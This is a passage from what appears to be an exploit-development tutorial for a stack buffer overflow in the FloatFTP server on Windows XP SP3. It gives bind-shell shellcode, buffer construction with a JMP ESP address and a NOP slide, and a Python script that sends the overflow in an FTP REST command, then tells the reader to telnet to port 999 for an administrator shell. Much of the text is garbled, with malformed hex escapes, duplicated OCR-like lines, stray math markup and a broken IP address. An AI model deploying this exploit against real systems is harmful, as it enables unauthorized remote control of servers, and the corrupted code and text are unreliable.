"\xd5\x80\xb8\x52\x25\xf3\x31\xb7\x14\x21\x25\xb3\x04\xf5" +	
"\x2d\x91\xa4\x7e\x63\x02\x3f\xf2\xac\x25\x88\xb9\x8a\x08" +	
"\x09\x0c\x13\xc6\xc9\x0e\xef\x15\x1d\xf1\xce\xd5\x50\xf0" +	
"\x17\x0b\x9a\xa0\xc0\x47\x08\x55\x64\x15\x90\x54\xaa\x11" +	
"\xa8\x2e\xcf\xe6\x5c\x85\xce\x36\xcc\x92\x99\xae\x67\xfc" +	
"\x39\xce\xa4\x1e\x05\x99\xc1\xd5\x18\x03\x24\xfd\x2a" +	
"\X6D\X6D\XCU\X82\X66\XI5\XU5\X24\X98\X8U\X7d\X56\X25\X93" +     \x45\x24\xf1\x16\x58\x80\x72\x80\x68\x20\x57\x57\x40\x3c" +	
/ \x45\x24\x11\x10\x30\x00\x72\x00\xD0\x20\x57\x57\x57\x57\x4d\x30 +	
"\x24\xb3\x29\x7d\x7c\x19\x9c\x82\x9e\xc5\x41\x27\xd4\xe4" +	
"\x96\x51\xb7\x60\x5b\x6c\x48\x71\xf3\xe7\x3b\x43\x5c\x5c" +	
"/xd4/xef/x15/x7a/x23/x0f/x0c/x3a/xbb/xee/xae/x3b/x95/x34" +	
"\xfa\x6b\x8d\x9d\x82\xe7\x4d\x21\x57\xa7\x1d\x8d\x07\x08" +	
"\xce\x6d\xf7\xe0\x04\x62\x28\x10\x27\xa8\x5f\x16\xe9\x88" +	
"\x0c\xf1\x08\x2f\xb1\xe6\x84\xc9\xdf\xf8\xc0\x42\x77\x3b" +	
"\x37\x5b\xe0\x44\x1d\xf7\xb9\xd2\x29\x11\x7d\xdc\xa9\x37" +	
"\x2e\x71\x01\xd0\xa4\x99\x96\xc1\xbb\xb7\xbe\x88\x84\x50" +	
"\x34\xe5\x47\xc0\x49\x2c\x3f\x61\xdb\xab\xbf\xec\xc0\x63" +	
"\xe8\xb9\x3/\x/a\x/c\x54\x61\xd4\x62\xa5\x1/\x11\x26\x/2" +	
" \XC4 \X90 \Xd7 \X1 \ \X70 \X03 \XD7 \XC1 \X79 \X61 \X23 \X90 \X21 \X51 " +	
"\v93\vcd\v45\v7d\v4a\v88\v7a\vb2\v1a\v1c\v03\v2a\vb2\vb2\v2a\vb2\v2a\vb2	
$\frac{1}{2} \times \frac{1}{2} \times \frac{1}$	
"\x46\xad\x76\xf1\xbd\xad\xf3\xf4\xfa\x69\xe8\x84\x93\x1f" +	
"\x0e\x3a\x93\x35"	
Comment out the previous buffer statement and add the new modified statement:	
comment out the previous burier statement and add the new mouned statement.	
buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + shellcode + "\xCC";	*373

After having some issues with the shellcode running and double checking all parameters including "bad characters", I decide to add NOPs to the buffer just before the shellcode. In computer CPUs, a NOP slide is a sequence of NOP (no-operation) instructions (opcode 0x90) meant to "slide" the CPU's instruction execution flow to its final destination. NOPs often help when everything appears to line up correctly in an exploit but execution of the shellcode is failing.
I once again modify the buffer now adding 16 NOPs just before the shellcode:
buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\x90"*16 + shellcode + "\xCC"*357
eg: [buffer]<>[EIP - JMP ESP]<>[EIP to ESP padding]<>[NOPs]<>[shellcode]<>[Padding]
And the final complete exploit:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#buffer = '\x41' * 1000 #buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9 #buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741
## msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R   msfencode -b '\x40\x0A\x00\x0D' 368 b
<pre>shellcode = ("\xba\x2e\x27\xc2\x55\xdb\xdc\xd9\x74\x24\xf4\x5f\x2b\xc9" '\xb1\x56\x31\x57\x13\x83\xef\xfc\x03\x57\x21\xc5\x37\xa9" ''xd5\x80\xb8\x52\x25\xf3\x31\xb7\x14\x21\xc5\x33\x04\xf5" ''xd2\x91\xa4\x7e\x63\x02\x3f\xf2\xac\x25\xb3\x04\xf5" ''x09\xc0\x13\xc6\xc9\xe6\xf3\x1d\xf1\xc1\x21\x25\xb3\x04\xf5" ''x17\x0b\x9a\xa0\xc0\x47\x08\x55\x64\x15\y90\x24\xaa\x11" ''xa8\x2e\xcf\xe6\x5c\x85\xce\x36\xcc\x32\x99\xae\x67\xf2" ''x37\xa0\x21\xc5\x78\x64\x15\y90\x24\xf4\xf4\x7a\x7a\x7a\x7a\x7a\x7a\x7a\x7a\x7a\x7a</pre>
## Windows XP SP3 kernel32.dll 7C86467B JMP ESP #buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741
ψυττέτ - /x41 -247 +/x/β/x40/x00/x/C. +/x4208 +/x40x10 + SUBIFCODE +/xCCx32)
<pre>print "\nSending evil buffer" is.connect(('10.10.32',21)) data = s.recv(1024) 's.send('USER ftp' +'\r\n') data = s.recv(1024) 's.send('PASS ftp' +'\r\n')</pre>
<pre>data = s.recv(1024) 's.send('REST' +buffer+'\r\n')</pre>
s.close()

Close the debugger on the XP system and restart FloatFTP. Launch the exploit from the attacking system, then telnet to port 999 on the FTP server. All going well, you should receive a shell running as administrator (or as whoever started the FloatFTP process).



As you can see the system is now compromised and under the control of the attacker.